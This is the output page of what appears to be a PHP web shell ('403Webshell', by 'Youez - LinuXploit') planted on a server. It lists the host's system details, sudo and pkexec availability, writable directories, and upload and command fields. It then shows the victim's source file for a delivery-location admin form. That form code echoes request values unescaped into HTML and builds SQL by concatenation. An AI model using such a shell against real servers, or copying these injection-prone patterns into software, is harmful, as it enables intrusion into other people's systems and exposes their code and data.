403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.25
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nymp/wwwdev/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nymp/wwwdev/mod/location_form.php
<?php include('_mod_security.php'); ?>
<?php
	//var_dump($_REQUEST);
	form_prep('locations', 'basic_info');
	if ($action == 'Add New' && empty($_POST['region_id']) && !empty($_GET['region_id'])) :
		$_POST['region_id'] = $_GET['region_id'];
	endif;
	if ($action == 'Add New' && empty($_POST['category_id']) && !empty($_GET['category_id'])) :
		$_POST['category_id'] = $_GET['category_id'];
	endif;
	if ($action == 'Add New' && empty($_POST['neighborhood_id']) && !empty($_GET['neighborhood_id'])) :
		$_POST['neighborhood_id'] = $_GET['neighborhood_id'];
	endif;
	if ($_POST['ajax_event_submitted'] == '1') :
		form_reload_check();
		if (isset($_POST['active_tab'])) :
			$active_tab = $_POST['active_tab'];
		else :
			$active_tab = 'basic_info';
		endif;
		$ar_err = array();
		if (empty($_POST['location_name'])) :
			$ar_err['location_name'] = 'Location name is required!';
			$err_flag = true;
			$err_tab = 'basic_info';
		endif;
		if (empty($_POST['region_id'])) :
			$ar_err['region_id'] = 'Region is required!';
			$err_flag = true;
			$err_tab = 'basic_info';
		endif;
		if (empty($_POST['bldg_nbr'])) :
			$ar_err['bldg_nbr'] = 'Building Number is required!';
			$err_flag = true;
			$err_tab = 'basic_info';
		endif;
		if (empty($_POST['street'])) :
			$ar_err['street'] = 'Street is required!';
			$err_flag = true;
			$err_tab = 'basic_info';
		endif;
		if (empty($_POST['city'])) :
			$ar_err['city'] = 'City is required!';
			$err_flag = true;
			$err_tab = 'basic_info';
		endif;
		if (empty($_POST['state'])) :
			$ar_err['state'] = 'State is required!';
			$err_flag = true;
			$err_tab = 'basic_info';
		endif;
		if (empty($_POST['zip'])) :
			$ar_err['zip'] = 'Zip Code is required!';
			$err_flag = true;
			$err_tab = 'basic_info';
		endif;
		if (!$err_flag) :
			$set = "location_name = ".$db->quote(trim($_POST['location_name'])).", ".
					"region_id = ".nz($_POST['region_id'], '0').", ".
					"category_id = ".nz($_POST['category_id'], '0').", ".
					"neighborhood_id = ".nz($_POST['neighborhood_id'], '0').", ".
					"bldg_nbr = ".$db->quote(trim($_POST['bldg_nbr'])).", ".
					"street = ".$db->quote(trim($_POST['street'])).", ".
					"cross_street = ".$db->quote(trim($_POST['cross_street'])).", ".
					"city = ".$db->quote(trim($_POST['city'])).", ".
					"state = ".$db->quote(trim($_POST['state'])).", ".
					"zip = ".$db->quote(trim($_POST['zip'])).", ".
					"delivery_address = ".$db->quote(trim($_POST['delivery_address'])).", ".
					//"route = ".$db->quote(trim($_POST['route'])).", ".
					//"sequence_nbr = ".nz($_POST['sequence_nbr'], '0').", ".
					"phone = ".$db->quote(trim($_POST['phone'])).", ".
					"contact_name = ".$db->quote(trim($_POST['contact_name'])).", ".
					"nbr_del = ".nz($_POST['nbr_del'], '0').", ".
					"racks = ".$db->quote(trim($_POST['racks'])).", ".
					"instructions = ".$db->quote(trim($_POST['instructions'])).", ".
					"notes = ".$db->quote(trim($_POST['notes'])).", ".
					"comments = ".$db->quote(trim($_POST['comments'])).", ".
					"active = ".nz($_POST['active'],'0').", ".
					"update_by = ".nz(trim($_SESSION['user_id'])).", ".
					"update_date = '".date('Y-m-d H:i:s')."' ";
			if ($action == 'Edit') :
				$sql = "UPDATE locations set ".$set.
					"WHERE location_id = ".nz($_REQUEST['id'], '0')." ";
				$db->query($sql) or die('Database Error!');
				$_POST['update_by'] = trim($_SESSION['user_id']);
				$_POST['update_date'] = date('m/d/Y h:i:s a');
			else :
				if ($action == 'Add New') :
					$sql = "INSERT INTO locations SET ".
						"create_date = '".date('Y-m-d H:i:s')."', ".
						"create_by = ".nz($_SESSION['user_id'], '0').", ".
						$set;
					$db->query($sql) or die('Database Error!');
					$_REQUEST['id'] = last_id();
					$_POST['location_id'] = $_REQUEST['id'];
					$_POST['create_by'] = trim($_SESSION['user_id']);
					$_POST['create_date'] = date('m/d/Y h:i:s a');
					$_POST['update_by'] = trim($_SESSION['user_id']);
					$_POST['update_date'] = date('m/d/Y h:i:s a');
				endif;
			endif;
			$form_message = "Saved sucessfully!";
			form_uid_reset();
			if ($_POST['xsubmit'] == 'Save & Close') :
				echo "<SCRIPT>";
				//echo "window.location.href = 'index.php?IX=".$_REQUEST['ref']."'";
				echo "appstack_pop()";
				echo "</SCRIPT>";
			endif;
			if ($_POST['xsubmit'] == 'Save & New') :
				echo "<SCRIPT>";
				echo "window.location.href = 'index.php?IX=location_form&ref=".urlencode($_REQUEST['ref'])."'";
				echo "</SCRIPT>";
			endif;
		else :
			$active_tab = $err_tab;
			$form_message = "Errors found!";
		endif;
	else:
		if ($action == 'Edit') :
			$sql = "SELECT l.*, z.latitude, z.longitude FROM locations l LEFT OUTER JOIN zip_codes z ON (l.zip = z.zip_code) WHERE l.location_id = ".nz($_REQUEST['id'], '0')." and l.region_id IN (".get_regions().") ";
			$result = $db->query($sql) or die('Database Error!');
			if ($result->rowCount() > 0) :
				$row = $result->fetch(PDO::FETCH_OBJ);
				$_POST['location_id'] = $row->location_id;
				$_POST['location_name'] = $row->location_name;
				$_POST['region_id'] = $row->region_id;
				$_POST['category_id'] = $row->category_id;
				$_POST['neighborhood_id'] = $row->neighborhood_id;
				$_POST['bldg_nbr'] = $row->bldg_nbr;
				$_POST['street'] = $row->street;
				$_POST['cross_street'] = $row->cross_street;
				$_POST['city'] = $row->city;
				$_POST['state'] = $row->state;
				$_POST['zip'] = $row->zip;
				$_POST['delivery_address'] = $row->delivery_address;
				//$_POST['route'] = $row->route;
				//$_POST['sequence_nbr'] = $row->sequence_nbr;
				$_POST['phone'] = $row->phone;
				$_POST['contact_name'] = $row->contact_name;
				$_POST['nbr_del'] = $row->nbr_del;
				$_POST['racks'] = $row->racks;
				$_POST['instructions'] = $row->instructions;
				$_POST['notes'] = $row->notes;
				$_POST['comments'] = $row->comments;
				$_POST['active'] = $row->active;
				$_POST['create_by'] = $row->create_by;
				$_POST['create_date'] = nzdate_display_datetime($row->create_date);
				$_POST['update_by'] = $row->update_by;
				$_POST['update_date'] = nzdate_display_datetime($row->update_date);
				$current_location = $row->location_id;
			else :
				echo form_fatal_error('Invalid Operation!');
				return;
			endif;
		else :
			$_POST['active'] = 1;
		endif;
	endif;
?>

<script>
	var active_page = '<?php echo $_REQUEST['IX']; ?>';
	var active_tab = '';
	
	update_header = function()
	{
		if ($("#location_name").val() > "" )
		{
			$("#header_repeater").text(" - " + $("#location_name").val());
		}
	}
	
	$(document).ready(function()	
		{
			switch_tab('<?php echo $active_tab; ?>');
			update_header();
			$(':input:not(.search)').change(function() {sheet_dirty = true; } );
			$('#tab_map').click(function() {if (!map_loaded) geocode_address();});
		}
	)
</script>

<h1>Location - <?php echo $action; ?><span id="header_repeater"></span></h1>
<?php echo form_message($form_message); ?>

<form style="" name="frm_location" id="frm_location" method="post" action="">
	<input name="ajax_event_submitted" type="hidden" value="1" />
	<input name="id" type="hidden" value="<?php echo $_REQUEST['id']; ?>" />
	<input name="active_tab" id="active_tab" type="hidden" value="basic_info" />
	<?php form_button_strip('top'); ?>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<div class="tab_strip">
		<div class="tab_header" id="tab_basic_info" onclick="switch_tab('basic_info');">
			Basic Info
		</div>
		<?php 
			if (!empty($_REQUEST['id'])) :
		?>
				<div class="tab_header" id="tab_deliveries" onclick="switch_tab('deliveries');">
					Deliveries
				</div>
				<?php
					if (role_match(get_roles(), 'standard,admin')) :
				?>
					<div class="tab_header" id="tab_verifications" onclick="switch_tab('verifications');">
						Verifications
					</div>
					<div class="tab_header" id="tab_startstop" onclick="switch_tab('startstop');">
						Start/Stop
					</div>
				<?php
					endif;
				?>
				<div class="tab_header" id="tab_photos" onclick="switch_tab('photos');">
					Photos
				</div>
				<div class="tab_header" id="tab_map" onclick="switch_tab('map');">
					Map
				</div>
		<?php 
			endif;
		?>
	</div>
	<div class="cleardiv">
		&nbsp;
	</div>
	<div class="tab_content" id="tab_content_basic_info">
		<div class="form_header">
			Basic Info
		</div>
		<div class="input_column">
			<?php
				form_field('location_id', 'text', 10, 0, false, false, true, '', '', 'location_id', 'Location ID');
				form_field('location_name', 'text', 75, 0, true, false, false, '', '', 'location_name', 'Location Name');
				$sql = "SELECT region_id, region_name FROM regions WHERE region_id IN (".get_regions().") ORDER BY region_name ";
				$result = $db->query($sql) or die('Database Error!');
				$ar_regions = $result->fetchAll(PDO::FETCH_KEY_PAIR);
				form_field('region_id', 'select', 50, 0, true, false, false, '', '', 'region_id', 'Region', $ar_regions);
				$sql = "SELECT category_id, category_name FROM categories ORDER BY category_name ";
				$result = $db->query($sql) or die('Database Error!');
				$ar_categories = $result->fetchAll(PDO::FETCH_KEY_PAIR);
				form_field('category_id', 'select', 50, 0, false, false, false, '', '', 'category_id', 'Category', $ar_categories);
				$sql = "SELECT neighborhood_id, neighborhood_name FROM neighborhoods ORDER BY neighborhood_name ";
				$result = $db->query($sql) or die('Database Error!');
				$ar_neighborhoods = $result->fetchAll(PDO::FETCH_KEY_PAIR);
				form_field('neighborhood_id', 'select', 50, 0, false, false, false, '', '', 'neighborhood_id', 'Neighborhood', $ar_neighborhoods);
				//form_field('route', 'text', 50, 0, false, false, false, '', '', 'route', 'Route');
				//form_field('sequence_nbr', 'text', 6, 0, false, false, false, '', '', 'sequence_nbr', 'Sequence Number');
				form_field('nbr_del', 'text', 6, 0, false, false, false, '', '', 'nbr_del', 'Number of Deliveries');
				form_field('racks', 'text', 50, 0, false, false, false, '', '', 'racks', 'Racks');
				form_field('active', 'checkbox', 50, 0, false, false, false, '', '', '', 'Active');
			?>
		</div>
		<div class="input_column">
			<?php
				form_field('bldg_nbr', 'text', 50, 0, true, false, false, '', '', 'bldg_nbr', 'Building Number');
				form_field('street', 'text', 50, 0, true, false, false, '', '', 'street', 'Street');
				form_field('cross_street', 'text', 50, 0, false, false, false, '', '', 'cross_street', 'Cross Street');
				form_field('city', 'text', 50, 0, true, false, false, '', '', 'city', 'City');
				form_field('state', 'text', 50, 0, true, false, false, '', '', 'state', 'State');
				form_field('zip', 'text', 50, 0, true, false, false, '', '', 'zip', 'Zip Code');
				form_field('delivery_address', 'text', 50, 0, false, false, false, '', '', 'delivery_address', 'Delivery Address');
				form_field('phone', 'text', 50, 0, false, false, false, '', '', 'phone', 'Phone');
				form_field('contact_name', 'text', 50, 0, false, false, false, '', '', 'contact_name', 'Contact Name');
			?>
		</div>
		<div class="input_column">
			<?php
				form_field('instructions', 'textarea', 50, 6, false, false, false, '', '', 'instructions', 'Delivery Instructions');
				form_field('notes', 'textarea', 50, 6, false, false, false, '', '', 'notes', 'Delivery Notes');
				form_field('comments', 'textarea', 50, 6, false, false, false, '', '', 'comments', 'Comments');
			?>
		</div>
	</div>
	<?php 
		if (!empty($_REQUEST['id'])) :
	?>
			<!-- -------------------------------------------------------------------------------------------------------------- -->
			<div class="tab_content" id="tab_content_deliveries">
				<div class="form_header">
					Deliveries
				</div>
				<?php
					$ref = urlencode('location_form&tab=deliveries&id='.trim(nz($_REQUEST['id'], '0')));
					$ix_form_delivery = 'delivery_form&ref='.$ref.'&location_id='.trim(nz($_REQUEST['id'], '-1'));
				?>
				<?php db_navigator_bar(array('table_id'=>'db_grid_deliveries', 'form'=>$ix_form_delivery, 'xls_sql'=>$xls_sql, 'print_section'=>'db_grid_deliveries', 'call'=>'deliveries_ajax', 'sort_col'=>'1', 'sort_order'=>'1', 'subtab'=>'true', 'parm1'=>" AND location_id = ".nz($current_location, '-1'), 'func'=>'grid' )); ?>
			</div>
			<!-- -------------------------------------------------------------------------------------------------------------- -->
			<?php
				if (role_match(get_roles(), 'standard,admin')) :
			?>
					<div class="tab_content" id="tab_content_verifications">
						<div class="form_header">
							Verifications
						</div>
						<?php
							$ref = urlencode('location_form&tab=verifications&id='.trim(nz($_REQUEST['id'], '0')));
							$ix_form_verification = 'verification_form&ref='.$ref.'&location_id='.trim(nz($_REQUEST['id'], '-1'));
						?>
						<?php db_navigator_bar(array('table_id'=>'db_grid_verifications', 'form'=>$ix_form_verification, 'xls_sql'=>$xls_sql, 'print_section'=>'db_grid_verification', 'call'=>'verifications_ajax', 'sort_col'=>'1', 'sort_order'=>'1', 'subtab'=>'true', 'parm1'=>" AND location_id = ".nz($current_location, '-1'), 'func'=>'grid' )); ?>
					</div>
					<div class="tab_content" id="tab_content_startstop">
						<div class="form_header">
							Start/Stop
						</div>
						<?php
							$ref = urlencode('location_form&tab=startstop&id='.trim(nz($_REQUEST['id'], '0')));
							$ix_form_startstop = 'startstop_form&ref='.$ref.'&location_id='.trim(nz($_REQUEST['id'], '-1'));
						?>
						<?php db_navigator_bar(array('table_id'=>'db_grid_startstop', 'form'=>$ix_form_startstop, 'xls_sql'=>$xls_sql, 'print_section'=>'db_grid_startstop', 'call'=>'startstop_ajax', 'sort_col'=>'1', 'sort_order'=>'1', 'subtab'=>'true', 'parm1'=>" AND location_id = ".nz($current_location, '-1'), 'func'=>'grid' )); ?>
					</div>
			<?php
				endif;
			?>
			<!-- -------------------------------------------------------------------------------------------------------------- -->
			<div class="tab_content" id="tab_content_photos">
				<div class="form_header">
					Photos
				</div>
				<div id="ajax_update" style="width:1px; height:1px; display:none;">
				</div>
				<?php
					$ref = urlencode('location_form&tab=photos&id='.trim(nz($_REQUEST['id'], '0')));
					$ix_form_photo = 'photo_form&ref='.$ref.'&location_id='.trim(nz($_REQUEST['id'], '-1'));
				?>
				<?php db_navigator_bar(array('table_id'=>'db_grid_photos', 'form'=>$ix_form_photo, 'xls_sql'=>$xls_sql, 'print_section'=>'db_grid_photos', 'call'=>'photos_ajax', 'sort_col'=>'3', 'sort_order'=>'1', 'subtab'=>'true', 'parm1'=>" AND location_id = ".nz($current_location, '-1'), 'func'=>'grid' )); ?>
				<?php
				?>
			</div>
			<!-- -------------------------------------------------------------------------------------------------------------- -->
			<div class="tab_content" id="tab_content_map">
				<div class="form_header">
					Map
				</div>
				<div id="google_map">
				</div>
				<script src="https://maps.googleapis.com/maps/api/js" async defer></script>
				<script>
					var geocoder;
					var map;
					var map_loaded = false;
					function geocode_address() {
						geocoder = new google.maps.Geocoder();
						var address = '<?php echo $_POST['bldg_nbr']." ".$_POST['street']." ".$_POST['city']." ".$_POST['state']." ".$_POST['zip']; ?>';
						map_loaded = true;
						//alert(address);
						var mapDiv = document.getElementById('google_map');
						geocoder.geocode( { 'address': address}, function(results, status) {
							if (status == google.maps.GeocoderStatus.OK) {
								map = new google.maps.Map(mapDiv, {
								  center: {lat: results[0].geometry.location.lat(), lng: results[0].geometry.location.lng()},
								  scrolwheel: false,
								  zoom: 15
								});
								//map.setCenter(results[0].geometry.location);
								var marker = new google.maps.Marker({
									map: map,
									position: results[0].geometry.location
								});
							} else {
								$(mapDiv).text('Geocode was not successful for the following reason: ' + status);
								//alert('Geocode was not successful for the following reason: ' + status);
							}
						});
					}
				</script>
	
			</div>
			<!-- -------------------------------------------------------------------------------------------------------------- -->
	<?php 
		endif;
	?>
	<?php form_button_strip('bottom'); ?>
</form>

Youez - 2016 - github.com/yon3zu
LinuXploit